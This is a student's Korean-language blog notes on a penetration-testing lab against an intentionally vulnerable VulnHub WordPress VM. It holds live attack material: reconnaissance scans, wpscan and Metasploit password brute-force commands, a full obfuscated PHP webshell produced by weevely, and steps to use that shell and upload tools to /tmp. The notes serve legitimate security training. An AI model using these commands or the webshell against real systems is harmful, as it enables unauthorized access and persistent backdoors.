* 모의해킹사이트들
Vulnerable By Design ~ VulnHub
According to information from our intelligence network, ICA is working on a secret project. We need to find out what the project is. Once you have the access information, send them to us. We will place a backdoor to access the system later. You just focus
www.vulnhub.com
Hacking Training For The Best
From beginners to experts, this is where hackers level up! Join today and learn how to hack.
www.hackthebox.com
https://portswigger.net/web-security
-------------------------------------------------------------------------------------------------------------------------------------
1. vmware을 이용하여 ova 이미지 불러오기 (NAT, 4G정도 할당)
2. Nmap을 이용하여 포트 스캔 진행, 최대한 많은 정보 수집
3. Nikto를 이용한 정보 수집
4. dirb를 이용한 디렉터리 정보 수집
* vulnerable_docker_containement.ova 설치
= 설치후 설정

= vm 실행시키고
= 뭐 뜨면 yes
= 그리고 그다음에 hard랑 easy 나오면 easy 선택

* 칼리로 온다.
$ sudo nmap -sV 192.168.5.138 -p- (sV는 버전인가....)( -p-는 65535개의 모든 포트를 점검 한다는 뜻 )

$ sudo nmap -sV 192.168.5.138 -oX result.xml ( 일단 -p-랑 좀 다르고 내용을 저기에 저장한다는 것? )

$ sudo nmap -sV -sC 192.168.5.138 -p- ( sC=script default ) ( 여러가지 취약점을 분석할 수 있는 옵션 이라고함 )

= 아래사진처럼 8000포트가 오픈되어있고 /wp-admin/을 보고 워드프레스가 설치되어 있다고 알 수 있다.

= 아래 사진처럼 8000포트로 들어가면 워드프레스가 나온다.

* $ sudo nmap -sV -sC 192.168.5.138 -p- 에서 sC 옵션을 안배웠다고 해서 설명해주시는것 ( 뭐라고 하시는지...잘...)
$ cd /usr/share/nmap/scripts
= ....

-----------------------------------------------------------------------------------------------------------------------------------------------------------------
* 뭔지 모르겠다...옵션들 설명을 너무 많이...너무 빨리...설명하신다...
$ sudo nmap -sV --script=http-enum 192.168.5.138 -p8000

* 그냥 대충 특정 기능을 사용하는 중인듯, 이번껀 워드프레스인ㄱ 것 같다.
$ sudo nmap -sV --script=http-wordpress-enum 192.168.5.138 -p8000

* 디렉토리 검색 도구 한다고 했는데 갑자기 nikto로 전환하심 (nikto가 뭔지는 찾아봐야겠다. )
$ sudo nikto -h http://192.168.5.137:8000
= 해서 아래에 나온 경로를 들어가봐야 한다고 한다.

= 하나 들어가보면 버전 정보가 노출 되어 있다.
= 하지만 오탐인 경우도 있으니 주의!

* 자동 취약점 진단을 사용하는 목적!!
= 사람이 수동으로 하나씩 접근 할 수 있는 한계를 해결
= 수동 모의해킹은 전수 진단이라고는 할 수 없음
* 디렉토리 검색 도구
$ sudo dirb http://192.168.5.138:8000/
=
$ locate 검색할파일 ( 리눅스 안에서 파일 검색할때 쓰는 명령어 )


---------------------------------------------------------------------------------------------------
* wpscan
$ sudo wpscan --url http://192.168.5.138:8000/
= 이건 소영재 강사님이랑 했었다!.

$ sudo wpscan --url http://192.168.5.138:8000/ --enumerate p ( 플러그인을 집중적으로 보겠다는 옵션 )
$ sudo wpscan --url http://192.168.5.138:8000/ --enumerate p ( 유저정보를 집중적으로 보겠다는 옵션 )
$ sudo git clone https://github.com/danielmiessler/SecLists.git
= 비밀번호 파일 다운받기

$ sudo wpscan --url http://192.168.5.138:8000/ --usernames bob --passwords /home/kali/SecLists/Passwords/Common-Credentials/10-million-password-list-top-10000.txt
= bob을 로그인할건데 비밀번호 계속 대입해서 찾기, 여러개가 있지만 난 1만개짜리로 선택
= 아래 사진처럼 비밀번호가 뚫린다.

* msfconsole ( 메타스플로잇 콘솔 )
$ sudo msfconsole
msf6 > search xmlrpc

msf6 > use 9
msf6 auxiliary(scanner/http/wordpress_xmlrpc_login) > show options

= 여기서도 같은 기능을 사용할 수 있다! 인듯!?
msf6 auxiliary(scanner/http/wordpress_xmlrpc_login) > set RHOSTS 192.168.5.137
RHOSTS => 192.168.5.137
msf6 auxiliary(scanner/http/wordpress_xmlrpc_login) > set RPORT 8000
RPORT => 8000
msf6 auxiliary(scanner/http/wordpress_xmlrpc_login) > set USERNAME bob
USERNAME => bob
msf6 auxiliary(scanner/http/wordpress_xmlrpc_login) > set PASS_FILE /home/kali/SecLists/Passwords/Common-Credentials/10-million-password-list-top-10000.txt
PASS_FILE => /home/kali/SecLists/Passwords/Common-Credentials/10-million-password-list-top-10000.txt
msf6 auxiliary(scanner/http/wordpress_xmlrpc_login) > set THREADS 10
THREADS => 10
msf6 auxiliary(scanner/http/wordpress_xmlrpc_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf6 auxiliary(scanner/http/wordpress_xmlrpc_login) > exploit

---------------------------------------------------------------------------------------------------------------------------------------------------
워드프레스 취약점
- 제일 많이 나오는 취약점은 플러그인 취약점이고,
- 플러그인 취약점이 **외부에서 공격할 수 있다면** WEB을 통해 공격하면 된다.
- 권한을 획득 한 (관리자 권한) 후에 공격할 수 있는 것을 검색할 필요!!!
백도어 웹쉘을 생성!!!! - 칼리리눅스와 바로 연결할 수 있는 백도어 제작!!
msfveom!!!
weevely!!
┌──(kali㉿kali)-[~] ( 웹쉘 만들기 )
└─$ sudo weevely generate hacker shell.php ( hacker는 일종의 패스워드? 라고함 )
[sudo] password for kali:
Generated 'shell.php' with password 'hacker' of 771 byte size.
┌──(kali㉿kali)-[~] ( 만들어진 웹쉘 확인 )
└─$ cat shell.php
<?php
$V='ontents("p^uhp:^u^u//i^unput"),$m)==1)^u {@ob_star^ut();@e^u^u^uval(@gzuncompr^ue';
$t='ui}^$k{^u$j};^u}}return $o;^u}if (@p^ureg_^umatch("^u/$kh(.+)^u$kf/",@fi^ule_g^uet_^uc';
$o='ean(^u);$r=@base6^u4_enc^uode^u(@x(^u@gz^u^ucom^upress($o),$^uk));print("$p$kh$r^u$kf");}';
$G='hKVXFq^uMJGs";^ufunctio^un x^u($^ut,$^uk){$c=strle^un($k)^u;$l=strl^uen($^ut);^u';
$W=str_replace('zv','','crezvatzvezv_zvfunzvctizvon');
$c='ss^u(@x^u(@base6^u4_decod^ue($m[1]),$k)))^u^u;$o=@^uob_get^u_contents(^u);@o^ub_e^und_cl';
$F='$k="d6a6b^uc0d";^u$kh=^u"b10694^ua2d9^u0e";$kf^u="3a696^u4^u8f3a03";$p="^uZuGS^utA';
$U='$o="^u";for(^u$^ui=0;$i<$l;)^u{for($j=0;($j<$c^u^u&&^u^u$i<$l);$j++,$^ui++){$o.=$^ut{$^';
$R=str_replace('^u','',$F.$G.$U.$t.$V.$c.$o);
$E=$W('',$R);$E();
?>
= 매우 난독화 되어있는 웹쉘
= ^u를 중간중간 엄청 섞어놓고 $R=str_replace('^u','',$F.$G.$U.$t.$V.$c.$o); 이 명령어(replace)를 이용해서 지우고 다시 합쳐서 웹쉘을 완성
= 강사님꺼랑 섞이는 문자가 다른거보니까 만들때마다 랜덤으로 다르게 만들어지는 것 같다.
= 이러면 보안프로그램에 알 걸릴 수도 있다.(고한다..)
= 궁금하면 바이러스토탈에서 검색해보면된다. ( 안랩같은거엔 걸렸음 )
= 그럼 이제 워드프레스에서 이걸 어떻게 실행 시킬것인가를 고민해야하는데.
= 플러그인 안에 취약점을 이용한다고 하는데 디테일하게는 모르겠고 일단 따라했다..

= 위에껄 하였으면 다시 칼리에서 아래껄 입력한다
$ weevely http://192.168.5.138:8000/wp-content/plugins/hello.php hacker
= hacker는 아까 말한 일종의 패스워드

weevely> uname -a 로 접속확인
= 강사님이 디렉토리를 이동하셔서 나도 일단 따라했다

----------------------------------------------------------------------------------------------------------
* 퍼미션이 자유로운 폴더 tmp ( 잘 기억하라고 하신다 )
cd /tmp

= 파일 옮기기
file_upload /home/kali/Downloads/nmap /tmp/nmap

= 권한 설정
chmod +x nmap
= nmap실행
./nmap
------------------------------------------------------------------------------------------------------

'공부 > 클라우드기반 취약점 진단 및 대응 실무' 카테고리의 다른 글
10/20 클라우드기반 취약점 진단 및 대응 실무 (0) | 2022.10.20 |
---|---|
10/19 클라우드기반 취약점 진단 및 대응 실무 (0) | 2022.10.19 |
10/18 클라우드기반 취약점 진단 및 대응 실무 (0) | 2022.10.18 |
10/17 클라우드기반 취약점 진단 및 대응 실무 (0) | 2022.10.17 |